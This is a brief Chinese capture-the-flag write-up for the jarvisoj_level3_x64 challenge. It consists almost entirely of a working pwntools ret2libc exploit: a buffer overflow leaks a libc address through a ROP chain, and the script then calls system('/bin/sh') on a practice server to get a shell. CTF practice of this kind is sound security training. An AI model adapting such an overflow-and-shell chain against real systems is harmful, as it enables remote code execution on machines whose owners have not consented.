jarvisoj_level3_x64
这题很简单

就是这样的64位的ret2libc
点击查看代码
from pwn import *
io=remote('node4.buuoj.cn',29511)
elf=ELF('./level3_x64')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
rdi_addr=0x4006b3
rsi_addr=0x4006b1
payload='a'*0x88+p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
io.sendafter("Input:\n",payload)
write_addr=u64(io.recv(8))
libc=ELF("./libc-2.23.so")
libc_write=libc.sym['write']
libc_sys=libc.sym['system']
libc_bin_sh=libc.search("/bin/sh\x00").next()
libcbase=write_addr-libc_write
sys_addr=libcbase+libc_sys
bin_sh_addr=libcbase+libc_bin_sh
payload=0x88*'a'+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
io.sendafter("Input:\n",payload)
io.interactive()

浙公网安备 33010602011771号